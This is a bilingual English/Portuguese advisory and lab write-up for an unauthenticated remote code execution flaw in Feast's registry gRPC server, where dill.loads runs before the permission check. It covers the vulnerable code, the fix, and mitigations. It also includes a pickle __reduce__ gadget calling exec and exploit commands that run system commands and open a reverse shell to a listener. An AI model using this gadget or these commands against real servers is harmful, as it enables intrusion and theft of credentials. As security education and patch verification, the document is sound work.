CVE-2026-56121: Feast unauthenticated RCE — dill.loads before the auth checkCVE-2026-56121: RCE não autenticada no Feast — dill.loads antes da checagem de auth
A single unauthenticated gRPC call to Feast's registry server runs dill.loads on an attacker-supplied UDF body — the deserialization happens before the permission check. Dockerized lab plus a stdlib-only pickle gadget.Uma única chamada gRPC não autenticada ao registry server do Feast roda dill.loads sobre o corpo de uma UDF fornecida pelo atacante — a desserialização acontece antes da checagem de permissão. Lab dockerizado e um gadget de pickle usando só a stdlib.
Proof of concept on GitHubProva de conceito no GitHubAuthorization: this is a self-contained lab built for education and authorized security testing. Run it only against the bundled Docker environment or systems you own or are explicitly permitted to test — unauthorized use against third-party systems is a crime.
Summary
Feast is a widely deployed open-source
feature store. Its registry gRPC server exposes an ApplyFeatureView RPC
that parses the incoming feature-view spec by calling
OnDemandFeatureView.from_proto(...) — and for a pandas-mode On-Demand Feature
View with a non-empty UDF body, that path ends in dill.loads() on
attacker-controlled bytes.
Two things turn that into unauthenticated RCE:
- The deserialization runs before
assert_permissions_to_update, so no authorization check ever gates it. - The shipped default is
auth: no_auth, and with it the server installs noAuthInterceptorat all — the wholeRegistryServeris reachable with zero credentials on[::]:6570viaadd_insecure_port.
dill executes pickle opcodes, so an object with a crafted __reduce__ runs
arbitrary Python in the server process.
| CVE | CVE-2026-56121 |
| Product | Feast — registry gRPC server |
| Affected | feast < 0.63.0 |
| Fixed in | 0.63.0 (commit 835cda8) |
| Class | CWE-502 — Deserialization of Untrusted Data |
| Default port | 6570/tcp |
Impact
Anyone who can route a TCP packet to port 6570 executes Python as the Feast
service account. No credentials, no prior access, one RPC. A feature store sits
next to the data plane of an ML platform — object-storage credentials, warehouse
connection strings, and the offline/online store config all live in the same
process environment.
The vulnerable path
The handler deserializes first and authorizes second:
def ApplyFeatureView(self, request, context):
feature_view_type = request.WhichOneof("base_feature_view")
...
elif feature_view_type == "on_demand_feature_view":
feature_view = OnDemandFeatureView.from_proto( # deserializes here
request.on_demand_feature_view
)
...
assert_permissions_to_update( # auth check AFTER
resource=feature_view,
getter=self.proxied_registry.get_feature_view,
project=request.project,
)Spec parsing then routes on mode, requiring only that body_text is non-empty:
if transformation_type == "user_defined_function":
udf_proto = feature_transformation.user_defined_function
if udf_proto.body_text:
if mode == "pandas":
return PandasTransformation.from_proto(udf_proto)
elif mode == "python":
return PythonTransformation.from_proto(udf_proto)And the sink:
@classmethod
def from_proto(cls, user_defined_function_proto):
return PandasTransformation(
udf=dill.loads(user_defined_function_proto.body), # SINK
udf_string=user_defined_function_proto.body_text,
)python_transformation.py carries the same sink for mode == "python", and the
legacy _handle_backward_compatible_udf path (the deprecated
spec.user_defined_function field) funnels back into
PandasTransformation.from_proto as well.
The missing auth is just as blunt:
if auth_type == AuthManagerType.NONE:
return [ErrorInterceptor()] # no AuthInterceptor
return [AuthInterceptor(), ErrorInterceptor()]Proof of concept
dill.loads decodes standard pickle opcodes, so the gadget is built with the
stdlib pickle module — the attacker side needs only grpcio and
protobuf, not dill:
class _Payload:
def __init__(self, src): self.src = src
def __reduce__(self):
return (exec, (self.src,)) # exec(<python source>) on the server
body = pickle.dumps(_Payload(python_source), protocol=2)The request populates ApplyFeatureViewRequest.on_demand_feature_view with an
OnDemandFeatureViewSpec where mode = "pandas" and
feature_transformation.user_defined_function is a UserDefinedFunctionV2 with
mode = "pandas", a non-empty body_text, and body set to the pickle above.
One unauthenticated call to
feast.registry.RegistryServer/ApplyFeatureView is enough — the RPC may then
error out, but the code has already run.
The injected source is a dependency-free socket snippet that streams command
output back to a listener the exploit spins up itself, so nothing is assumed
about which binaries (nc, bash) exist in the target image.
Run it
1. Start the vulnerable lab (feast==0.62.0 by default):
cd lab
docker compose up --build -d
docker compose logs -f # wait for "Grpc server started"2. Install the exploit dependencies:
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt3. Fire it. The non-destructive check drops a marker in /tmp and returns
host info:
python exploit/exploit.py --target 127.0.0.1:6570 --checkRun a command and read its output:
python exploit/exploit.py --target 127.0.0.1:6570 --cmd "id; hostname; cat /etc/os-release | head -1"Or take an interactive shell — listener first:
# terminal A
nc -lvnp 4444
# terminal B (an address the container can reach back to)
python exploit/exploit.py --target 127.0.0.1:6570 --reverse-shell 172.17.0.1:4444exploit/poc.py is the same primitive stripped to ~90 readable lines:
python exploit/poc.py 127.0.0.1:6570 "id; uname -a"Callback note.
--check,--cmdandpoc.pyneed the target to connect back to a listener on your machine. From the host this works out of the box; from inside a container, join the lab network (docker run --network lab_default ...) or the payload runs but the reply never arrives and the tool reports "no callback".
4. Confirm the patch by rebuilding against the fixed release:
cd lab && docker compose down
FEAST_VERSION=0.63.0 docker compose up --build -d
python ../exploit/exploit.py --target 127.0.0.1:6570 --checkOn 0.63.0 you get [-] No callback received. and no marker file.
The fix
Commit 835cda8 threads a skip_udf: bool = False flag through the
deserialization chain and has ApplyFeatureView build the feature view with
skip_udf=True for the permission check, deserializing the UDF body only
after authorization. _parse_transformation_from_proto returns None when
skip_udf=True, and StreamFeatureView.from_proto guards on
HasField("user_defined_function") and not skip_udf.
Beyond upgrading to >= 0.63.0: don't expose 6570 to untrusted networks, and
run a real auth backend (auth: kubernetes / auth: oidc) instead of the
default no_auth.
References
Autorização: este é um lab autocontido, feito para fins educacionais e testes de segurança autorizados. Rode apenas contra o ambiente Docker incluído ou sistemas que você possui ou tem permissão explícita para testar — uso não autorizado contra sistemas de terceiros é crime.
Resumo
O Feast é um feature store open-source
amplamente usado. Seu registry gRPC server expõe um RPC ApplyFeatureView
que interpreta a spec de feature view recebida chamando
OnDemandFeatureView.from_proto(...) — e, para uma On-Demand Feature View em
modo pandas com corpo de UDF não vazio, esse caminho termina em
dill.loads() sobre bytes controlados pelo atacante.
Duas coisas transformam isso em RCE não autenticada:
- A desserialização roda antes de
assert_permissions_to_update, então nenhuma checagem de autorização a protege. - O padrão distribuído é
auth: no_auth, e com ele o servidor não instala nenhumAuthInterceptor— oRegistryServerinteiro fica alcançável sem credencial alguma em[::]:6570viaadd_insecure_port.
O dill executa opcodes de pickle, então um objeto com um __reduce__ forjado
roda Python arbitrário dentro do processo do servidor.
| CVE | CVE-2026-56121 |
| Produto | Feast — registry gRPC server |
| Afetadas | feast < 0.63.0 |
| Corrigido em | 0.63.0 (commit 835cda8) |
| Classe | CWE-502 — Deserialization of Untrusted Data |
| Porta padrão | 6570/tcp |
Impacto
Qualquer um que consiga rotear um pacote TCP até a porta 6570 executa Python
como a conta de serviço do Feast. Sem credenciais, sem acesso prévio, um RPC. Um
feature store fica ao lado do data plane de uma plataforma de ML — credenciais de
object storage, strings de conexão do warehouse e a configuração dos stores
offline/online vivem todas no mesmo ambiente de processo.
O caminho vulnerável
O handler desserializa primeiro e autoriza depois:
def ApplyFeatureView(self, request, context):
feature_view_type = request.WhichOneof("base_feature_view")
...
elif feature_view_type == "on_demand_feature_view":
feature_view = OnDemandFeatureView.from_proto( # desserializa aqui
request.on_demand_feature_view
)
...
assert_permissions_to_update( # checagem de auth DEPOIS
resource=feature_view,
getter=self.proxied_registry.get_feature_view,
project=request.project,
)A interpretação da spec então roteia por mode, exigindo apenas que body_text
não esteja vazio:
if transformation_type == "user_defined_function":
udf_proto = feature_transformation.user_defined_function
if udf_proto.body_text:
if mode == "pandas":
return PandasTransformation.from_proto(udf_proto)
elif mode == "python":
return PythonTransformation.from_proto(udf_proto)E o sink:
@classmethod
def from_proto(cls, user_defined_function_proto):
return PandasTransformation(
udf=dill.loads(user_defined_function_proto.body), # SINK
udf_string=user_defined_function_proto.body_text,
)O python_transformation.py carrega o mesmo sink para mode == "python", e o
caminho legado _handle_backward_compatible_udf (o campo depreciado
spec.user_defined_function) desemboca também em
PandasTransformation.from_proto.
A ausência de autenticação é igualmente direta:
if auth_type == AuthManagerType.NONE:
return [ErrorInterceptor()] # nenhum AuthInterceptor
return [AuthInterceptor(), ErrorInterceptor()]Prova de conceito
O dill.loads decodifica opcodes padrão de pickle, então o gadget é construído
com o módulo pickle da stdlib — o lado do atacante precisa apenas de
grpcio e protobuf, não de dill:
class _Payload:
def __init__(self, src): self.src = src
def __reduce__(self):
return (exec, (self.src,)) # exec(<código python>) no servidor
body = pickle.dumps(_Payload(python_source), protocol=2)A requisição preenche ApplyFeatureViewRequest.on_demand_feature_view com uma
OnDemandFeatureViewSpec onde mode = "pandas" e
feature_transformation.user_defined_function é uma UserDefinedFunctionV2 com
mode = "pandas", um body_text não vazio, e body contendo o pickle acima.
Uma chamada não autenticada a
feast.registry.RegistryServer/ApplyFeatureView basta — o RPC pode até dar erro
depois, mas o código já rodou.
O código injetado é um trecho de socket sem dependências que devolve a saída do
comando para um listener que o próprio exploit sobe, então nada é assumido sobre
quais binários (nc, bash) existem na imagem do alvo.
Rodando o lab
1. Suba o lab vulnerável (feast==0.62.0 por padrão):
cd lab
docker compose up --build -d
docker compose logs -f # espere por "Grpc server started"2. Instale as dependências do exploit:
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt3. Dispare. A checagem não destrutiva deixa um marcador em /tmp e devolve
informações do host:
python exploit/exploit.py --target 127.0.0.1:6570 --checkRode um comando e leia a saída:
python exploit/exploit.py --target 127.0.0.1:6570 --cmd "id; hostname; cat /etc/os-release | head -1"Ou pegue um shell interativo — listener primeiro:
# terminal A
nc -lvnp 4444
# terminal B (um endereço que o contêiner consiga alcançar de volta)
python exploit/exploit.py --target 127.0.0.1:6570 --reverse-shell 172.17.0.1:4444O exploit/poc.py é a mesma primitiva reduzida a ~90 linhas legíveis:
python exploit/poc.py 127.0.0.1:6570 "id; uname -a"Nota sobre o callback.
--check,--cmde opoc.pyprecisam que o alvo conecte de volta a um listener na sua máquina. A partir do host isso funciona direto; de dentro de um contêiner, entre na rede do lab (docker run --network lab_default ...) ou o payload roda mas a resposta nunca chega e a ferramenta reporta "no callback".
4. Confirme o patch reconstruindo contra a versão corrigida:
cd lab && docker compose down
FEAST_VERSION=0.63.0 docker compose up --build -d
python ../exploit/exploit.py --target 127.0.0.1:6570 --checkNa 0.63.0 você recebe [-] No callback received. e nenhum arquivo marcador.
A correção
O commit 835cda8 passa uma flag skip_udf: bool = False por toda a cadeia de
desserialização e faz o ApplyFeatureView montar a feature view com
skip_udf=True para a checagem de permissão, desserializando o corpo da UDF
apenas depois da autorização. O _parse_transformation_from_proto devolve
None quando skip_udf=True, e StreamFeatureView.from_proto protege com
HasField("user_defined_function") and not skip_udf.
Além de atualizar para >= 0.63.0: não exponha a 6570 a redes não confiáveis,
e rode um backend de autenticação de verdade (auth: kubernetes / auth: oidc)
em vez do padrão no_auth.